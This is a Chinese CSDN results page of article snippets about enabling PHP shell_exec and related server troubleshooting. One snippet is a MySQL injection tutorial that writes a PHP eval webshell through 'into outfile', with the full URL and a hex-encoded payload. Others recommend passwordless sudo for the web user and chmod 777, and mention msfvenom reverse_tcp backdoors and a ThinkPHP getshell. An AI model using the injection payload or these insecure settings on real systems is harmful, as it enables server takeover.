php 开启shell_php.ini 开启shell_exec - CSDN
精华内容
参与话题
  • PHP执行shell_exec方法失败

    万次阅读 2020-05-06 11:56:28
    多半原因在php.ini文件中未打开方法权限 在php.ini开启即可

    多半原因在php.ini文件中未打开方法权限
    在php.ini开启即可

    展开全文
  • 解决PHP调用exec或shell_exec的问题

    千次阅读 2018-11-26 14:03:45
    最近在做一个项目需要用到PHP调用python,在服务器执行命令是可以的,但是当放在项目代码中,在web中执行命令就不行了,调试了一天,终于可以了! 环境:centos7+nginx+mysql+php7.1 首先要解决的就是权限问题和...

    最近在做一个项目需要用到PHP调用python,在服务器执行命令是可以的,但是当放在项目代码中,在web中执行命令就不行了,调试了一天,终于可以了!

    环境:centos7+nginx+mysql+php7.1

    首先要解决的就是权限问题和用户组问题:

    一、查看启动你php的进程的用户是谁。

    可以通过在命令行执行:ps -ef | grep php来看。或者在php中执行 echo exec('whoami') 来查看。centos下默认会是nobody。 nobody默认没有任何权限。

    此时先自己添加一个用户和组。

    /usr/sbin/groupadd xxxx
    /usr/sbin/useradd -g xxxx -s /bin/bash xxxx

    加完用户后、vim /etc/passwd 里面就可以看到你添加的用户了。

    二、修改php启动用户为您刚添加的用户

    找到你得php安装的地方的php-fpm.conf 。打开配置文件、编辑里面的 user = xxxx;  group = xxxx; (xxxx为您刚才添加的用户)

    重启php-fpm(service php-fpm restart)

    重复上面查看php启动进程的用户、应该已经变了。

    三、添加刚才的用户xxxx到sudoers里面

    visudo //修改/etc/sudoers的内容
    ## Allow root to run any commands anywhere 
    root    ALL=(ALL)       ALL
    xxxx   ALL=(ALL)       ALL //新添加这一行
    %xxxx        ALL=(ALL)       NOPASSWD: ALL  //设置xxxx组下面的用户使用sudo不需要输入密码

    四、到这里已经可以正常在exec中使用sudo  your command来执行命令了!!!!

    当然、最好不要在生产线上环境使用哦!可以在内网机器上面实现!一切为了安全。

    thinkphp3.2框架测试代码

    public function test1(){
            exec('/usr/local/python3/bin/python3 aa.py 2>&1',$out,$res);
            dump($out);
    }

    需要修改aa.py的权限和用户组

    chmod  -R 777 aa.py

    chown www:www aa.py

    另外就是路径问题 ,在框架里要放在和入口文件一致的目录下

    展开全文
  • 【sql注入教程】mysql注入直接getshell

    万次阅读 2016-08-31 11:25:05
    Mysql注入直接getshell的条件相对来说比较苛刻点把 1:要知道网站绝对路径,可以通过报错,phpinfo界面,404界面等一些方式知道 2:gpc没有开启开启了单引号被转义了,语句就不能正常执行了 3:要有file权限...

    Mysql注入直接getshell的条件相对来说比较苛刻点把

    1:要知道网站绝对路径,可以通过报错,phpinfo界面,404界面等一些方式知道

    2:gpc没有开启,开启了单引号被转义了,语句就不能正常执行了

    3:要有file权限,默认情况下只有root

    4:对目录要有写权限,一般image之类的存放突破的目录就有

    在实际环境中我只遇过一次,为了做实验,我把php.ini文件里面的gpc改为了Off,重启了一下apahce服务

    首先是常规的注入语句

    And 1=1 and 1=2 之类的,在输入单引号的时候报错了得到了觉得路径,写shell需要用到

     

    然后order by union

     

    Mysql的注入语句可以参考这篇帖子http://bbs.ichunqiu.com/thread-5748-1-1.html

    原创文章,希望大家多多支持

    然后就是用into outfile写文件

    http://127.0.0.1/mysqltest/index.php?age=25%20union%20select%201,2,3,4,0x3c3f706870206576616c28245f504f53545b2774657374275d293f3e%20into%20outfile%20%27C:/appserv/www/mysqltest/shell1.php%27

    0x3c3f706870206576616c28245f504f53545b2774657374275d293f3ehex编码的<?php eval($_POST['test'])?>

     

    写的文件名一定要是不存在的,不然就会不成功

    这里的路径要用/,如果要用\的话,就要用\\ 转移成一个

    C:\\appserv\\www\\mysqltest\\shell1.php

     

    也可以直接用穿山甲来写

     

    或者sqlmapos-shell

    原创文章,希望大家多多支持我

    文章中的实验源码下载地址http://bbs.ichunqiu.com/thread-5748-1-1.html

    展开全文
  • 今天发现在使用定时器的时候,执行一个shell脚本,打印日志正常,然后在系统中不能查到当前Shell脚本执行的结果。 因为使用的是Web程序,对于Shell调用这块也是新手。以前没有遇到过这种问题,只能靠猜了。 判断 ...

    问题

    今天发现在使用定时器的时候,执行一个shell脚本,打印日志正常,然后在系统中不能查到当前Shell脚本执行的结果。

    因为使用的是Web程序,对于Shell调用这块也是新手。以前没有遇到过这种问题,只能靠猜了。

    判断

    1、Shell脚本问题。

    验证方式:进入系统控制台,然后直接调用脚本,验证脚本正常。排除脚本本身问题。

    2、判断应该问题来自于权限

    验证方式:进入控制台,查看执行日志author.log。果然上面提示账号权限有问题。

    ls 查看Shell脚本信息,发现Web程序的用户和Shell脚本的权限用户不是同一个账号。将其修改为同一个账号,,再次启动程序问题解决。


    结论:

    类似问题基本上都是由以上两个方面引起的。有异常的时候多看下日志,基本上的问题都会打印出来的。


    展开全文
  • 换用Ubuntu18之后,桌面又回到了gnome,因此找到了gnome-tweak-tool对桌面进行美化。 1. 安装gnome-tweak-tool sudo apt-get install gnome-...但并没有网上所说的添加拓展的链接,主题设置中也在shell theme位置也...
  • windows+PHP+shell_exec()无法执行的原因

    万次阅读 2018-01-23 11:33:34
    今天使用shell_exec()命令执行wkhtmltopdf.exe 生成pdf文件时,总是无法生成PDF文件,使用var_dump()打印返回值,结果是null。可是检查代码并没有什么问题啊?执行程序的目录是 D:\Program Files\wkhtmltopdf\bin\...
  • //start.sh #!/bin/bash ./do10.sh >> log.log & echo $! > COSDNA.pid //stop.sh #!/bin/bash cat ./COSDNA.pid | xargs -IX kill -9 X ...ps -a| grep php | awk '{print $1}'|xargs -IX kill -9 X
  • 利用msf生成后门拿shell

    千次阅读 2017-11-15 23:31:38
    kali x64:192.168.26.136 win7 x86: 192.168.26.128 先在kali终端输入msfvenom -l,打开payload目录 然后找到payload windows/meterpreter/reverse_tcp ...然后将生成的qq.exe移到win7中,然后打开msf
  • Centos7下shell脚本添加开机自启动

    万次阅读 2018-07-20 10:24:55
    nohup /usr/bin/php -f /data/aliyun51015cn/redisChannel/psubscribe.php &gt; psubscribe.log &amp;   1、赋予脚本可执行权限(/opt/script/psubscribe.sh是你的脚本路径) # chmod ...
  • 在Windows平台下安装PHP后,在使用PHP的exec、shell_exec等函数时,经常会遇到报错:unable to fork...,这实际上是因为PHP对cmd.exe没有足够的权限引起的。 解决方法:为C:\Windows\System32\cmd.exe(系统不是...
  • 编辑php.ini,找到这行: ...disable_functions = scandir,passthru,exec,system,chroot,chgrp,chown,shell_exec,proc_open,proc_get_status, ini_alter,ini_alter,ini_restore,dl,pfsockopen,openlog,syslog,readlink
  • 漏洞概况 ThinkPHP是一款国内流行的开源PHP框架,近日被爆出存在可能的远程代码...由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞。 漏洞危害 攻击者可通过该漏洞获取...
  • 最近刚买了一个新空间,网站上线后发现总是出现以下警告: ...Warning: shell_exec() has been disabled for security reasons in/home/shoesnba/public_html/redsoleshoeses.com/includes/function...
  • [shell]shell简介

    万次阅读 2018-07-11 12:02:21
    一、简介 Shell 是一个用 C 语言编写的程序,它是用户使用 Linux 的桥梁。Shell 既是一种命令语言,又是一种程序设计语言。Shell 是指一种应用程序,这个应用程序提供了一个界面,用户通过这个界面访问操作系统内核...
  • ytkah在用composer安装插件时出现了shell_exec() has been disabled for security reasons错误提示,这个是php配置的问题,shell_exec() 函数被禁用了。怎么解决呢? shell_exec() has been disabled for ...
  • 什么是Shell

    千次阅读 2018-08-10 21:41:23
    Shell 是一个用 C 语言编写的程序,它是用户使用 Linux 的桥梁。Shell 既是一种命令语言,又是一种程序设计语言。 Shell 是指一种应用程序,这个应用程序提供了一个界面,用户通过这个界面访问操作系统内核的服务。...
  • 利用MSSQL getshell

    千次阅读 2018-11-17 15:23:15
    此次复现使用的sql server 2000 和sql server 2008两个环境进行的 ...0x01 MSSQL连接 连接MSSQL 2000 新建连接: ... 一直下一步,完成后,数据库导航窗口会出现一个连接,双击连接: 若是第一次连接,双击会提示下载驱动...
  • 交互式shell(Interactive Shells)

    千次阅读 2019-11-09 15:54:48
    本文来自于: ...在linux系统中,我们打开terminal就是开启了一个Bash进程,也就是开启了一个shell,此时的shell就是interactive shell。 下图就开启了一个interactive shell。echo $-时包含i ...
  • Eclipse下面编写并测试shell脚本

    千次阅读 2014-10-10 16:19:38
    为eclipse安装python、shell开发环境和SVN插件 暂无评论 eclipse是一个非常好用的IDE,通常来说我们都用eclipse来开发JAVA程序,为了让开发python、shell等脚本也能在eclipse上运行,出现了很多相关的插件:...
  • Shell运维脚本学习整理

    千次阅读 多人点赞 2018-09-15 21:49:41
    运维常用命令 LINUX运维常用命令详解一 LINUX运维常用命令详解二 LINUX运维常用命令详解三 Linux三剑客之grep命令详解 Shell文本处理三剑客之sed Shell...Shell基础知识及字符处理 Shell表达式与运算符 shell脚...
1 2 3 4 5 ... 20
收藏数 54,350
精华内容 21,740
关键字:

php 开启shell